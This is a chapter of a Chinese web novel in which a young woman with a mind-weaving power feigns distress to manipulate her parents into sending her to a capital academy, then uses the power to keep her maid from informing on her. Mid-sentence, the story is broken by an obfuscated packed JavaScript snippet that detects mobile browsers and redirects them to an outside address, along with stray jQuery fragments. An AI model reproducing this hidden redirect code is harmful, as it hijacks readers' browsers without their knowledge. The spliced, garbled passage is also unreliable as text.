24. 前路自辟

作品:《无限求生小队

    顾知微听完墟界系统的所有规则,心念微动,唤出了自己的天赋能力。


    心象编织(高阶):可洞察目标内心深处的思想,将其编织为足以乱真的幻象,影响其感官与判断,可同时对多位目标生效,生效距离与持续时长随精神强度递增。


    这天赋,如今已能同时影响多人,感知也越发敏锐。在家里,只要她愿意,几乎能知道每个人心底最细微的波动,调动任何一人,让其成为她达成目的的助力。


    这给了她有限的自由。


    她的目光落在面前的梨花木书案上,两只手扣住桌沿,便把书案抬了起来。


    空有蛮力,若无章法。


    她需要将这份力量化为己用,需要学习掌控它的方法,更需要一个能让她正大光明去学习、去成长的地方。


    明德书院。必须去,不能再等了。


    契机很快就来了。


    两日后,春杏被母亲院里的人匆匆叫走。不过一盏茶功夫,她便回来了:“小姐,夫人请您立刻过去一趟。老爷……也在。”


    “知道了。”她起身,理了理裙摆,步履平稳地朝母亲的正院走去。


    院门口的气氛不同寻常。除了母亲身边的丫鬟仆妇,竟还站着几个父亲惯用的长随小厮,个个垂手肃立,面色紧绷。春杏想跟进去,被一个管事妈妈客客气气地拦在了门外。


    顾知微脚步未停,径直入内。厅中,父亲端坐主位,面色沉郁;母亲陪坐在侧,深深蹙着眉。


    “跪下!”她刚踏进门槛,父亲压抑着怒火的低喝便劈头砸来。


    “父亲息怒。”顾知微敛眉跪下。


    顾父几步走到她面前,居高临下地瞪着她,眼底满是怒火:“我问你,那日春游,你和李公子支开春杏,单独相处的半个时辰里,到底说了什么?做了什么?今日你给我一字一句,清清楚楚地复述出来!”


    顾知微缓缓抬起头,目光在他紧绷的脸上掠过,问道:“父亲如此动怒……可是李公子那边,有了什么变故?”


    顾父被她平静的反问噎了一下,怒火更炽,却因她点破关窍而滞了滞,狠狠拂袖:“变故?何止是变故!李公子已经回京城了!人走之前,连个招呼都没跟我们顾家打!往日里他见了我,哪次不是客客气气执子侄礼?若不是你得罪了他,他怎会如此行事?”


    “没错!”顾母急急接话:“前些日子我们送过去的节礼,他都好好收下了,偏偏连封回信都没有!我当时就觉得不对,找你问,你只让我耐心等,结果就等来这么个结果!知微,你到底跟他说了什么,把这门好好的亲事,搅和成了这个样子?”


    顾知微心下明了。那日河边,她与李秉已将话挑明,对方如此行事,正在情理之中。


    她垂下眼睫,长长的睫毛在眼下投出一片浅浅的阴影,再抬眼时,眼眶已经微微泛红:“父亲,母亲,您二位确定,真的要听李公子的原话吗?女儿......女儿实在没脸说出口。”


    这副模样,反倒让顾父的怒火消了几分,眉头紧锁道:“有什么没脸说的?事到如今,还有什么不能说的?讲!”


    她声音越来越低,似是带着哽咽:“那日李公子屏退了旁人,也是顾及女儿在下人面前的体面。他说……他原本以为,我容貌绝色,又有才女之名,想必胸中有丘壑,笔墨有见地。可书信往来这几个月,才发现我那点文墨,不过是井底之蛙,不值一提。”


    “女儿……女儿无地自容,不知该如何向父亲母亲禀明……是女儿无用,丢了顾家的脸面……”说罢顾知微以袖掩面。


    顾母立刻急了,脱口而出:“这怎么可能?你们往来的书信,我封封都看过!知微你的文采,在咱们丰庆府的姑娘里,绝对是佼佼者,怎么就不值一提了?”


    顾父脸色沉了沉,对着顾母厉声道:“你把那些信都拿来,我亲自看看!”


    顾母不敢耽搁,连忙起身进了内室,翻出那厚厚一叠抄录好的往来信件,匆匆递到了顾父手里。


    顾父坐在椅子上,一封封地翻看着。越看,眉头皱得越紧。这些信,字是好字,工整娟秀,可内容实在乏善可陈,不是附和经义,就是问候起居,半分独到见解都没有,连寻常闺秀的灵气都欠奉,更别说能入得了京城世家公子的眼了。


    他重重把信拍在桌案上,叹了口气:“确实是欠缺了些。也难怪李公子不满,咱们丰庆府的夫子,本就只有这个水平,能教出什么花来?”


    厅内一时安静下来。顾母看着顾父的脸色,迟疑着开口:“老爷,要不……这门亲事,咱们就算了?丰庆府好儿郎也不少,未必非要攀李家这门高亲。”


    “不行!”顾父想都没想,直接一口回绝,语气斩钉截铁,“李公子是我筛选了这么久,家世、人品、前程样样拔尖,又最有可能迎娶咱们这样人家姑娘的人选!况且,他就算回了京城,咱们送过去的礼物,他可是一点没拒绝,这就说明,他对知微还是有意的,只是嫌她学识不够,配不上李家二少奶奶的身份罢了!”


    顾父拧着眉,在厅中踱了两步,目光重新落到跪着的女儿身上,语气稍缓,却依旧严厉:“除了这些,李公子还说了什么?”


    顾知微抬起泪眼,眼眶通红:“李公子还说……京城贵女,要么得大儒亲授,要么便是在‘明德书院’那样的地方进学。书院里的夫子,皆是各有所长的饱学之士,便是寻常人家的女儿,耳濡目染,见识才学也非寻常外府闺秀可比……”


    她顿了顿,仿佛用尽了勇气,继续道:“他说……女儿如今这点才名,也就在丰庆府还有些声响。若到了京城,怕是……连平民之家知书达理的女儿,也有所不如。”


    最后几个字,她似是说得极其艰难,眼泪终于滚落


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343763|199205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下来,砸在身前冰凉的地砖上。


    “我知道了!”顾父明白了,他目光灼灼地看着妻子:“这样!让执璋送知微去京城!咱们花钱,请京城的大儒,好好教导知微一段时间!刚好,执璋也能跟着一同学习,见见京城的世面,对他考举人也有好处!”


    这不是顾知微想要的最终结果,她需要再推一把。无声无息间,天赋心象编织发动。


    “若是请不来大儒,”顾父果然话锋一转,补充道,“就送他们去明德书院读书!京城的书院,总比咱们这丰庆府的强上百倍!”


    顾母愣了愣,连忙道:“老爷,明德书院那是什么地方?听说里面男女弟子都收,传出去对知微的名声不好啊!再说执璋还在知府办的书院里读书,眼看就要秋闱了,怎么能说走就走?”


    “名声?能嫁入李家,就是最好的名声!”顾父瞪了她一眼,语气不容置喙,“知府那边我去说!执璋那点学问,在丰庆府熬着,也未必能中举,去京城明德书院,跟着名师学习,反倒是条出路!你别管这些,赶紧去收拾东西,越快越好!咱们得让李公子尽快看到咱们的诚意!”


    顾母还想再说什么,可看着顾父不容置喙的脸色,终究是把话咽了回去,只能点头应下。


    出发的日子定得极快,不过三日功夫,顾母就打点好了一切。一行主仆十多人,套了三辆马车,顾知微带着春杏坐中间那辆最宽敞的,顾执璋带着小厮坐前面一辆,后面一辆堆满了行李。


    马车轱辘碾过青石板路,缓缓驶出了顾家大门,驶出了丰庆府的城门。


    顾知微靠在车窗边,撩开一点车帘,看着那座困了她十八年的城池,渐渐消失在视野里,只觉得心头那口憋了十几年的气,终于彻彻底底地吐了出来。


    春杏坐在她对面,手里捧着茶盏,眼神却时不时地瞟向她。这一路,她无时无刻不在盯着顾知微的一举一动,夜里歇在驿站,也要先查一遍她的行踪,看她有没有做出什么“不合规矩”的事,甚至偷偷写了书信,想托驿站送回顾家,向夫人禀报顾知微的动静。


    只是她每次提笔,心里都会莫名升起一股强烈的念头——“夫人交代过,小姐去京城是为了读书,没出岔子就不必多嘴,免得惹夫人烦心”,次次都让她放下了笔,转头就忘了自己要告密的事。


    春杏只觉得是自己思虑过多,却不知道,这正是顾知微的手笔。不必费尽心机遮掩,只需轻轻拨动她心底的念头,就能让这双盯了她十几年的眼睛,变成睁眼瞎。


    一路行来,顾知微也没闲着。


    马车里空间狭小,她便每日趁着天不亮,在驿站的空院里,一点点熟悉自己暴涨的力量,学着控制出拳的力道,收放呼吸的节奏。她没有武技,便先练最基础的力量掌控,至少要做到这一身力气,不会在日常里露了破绽,更不会在危急时刻,连自己都护不住。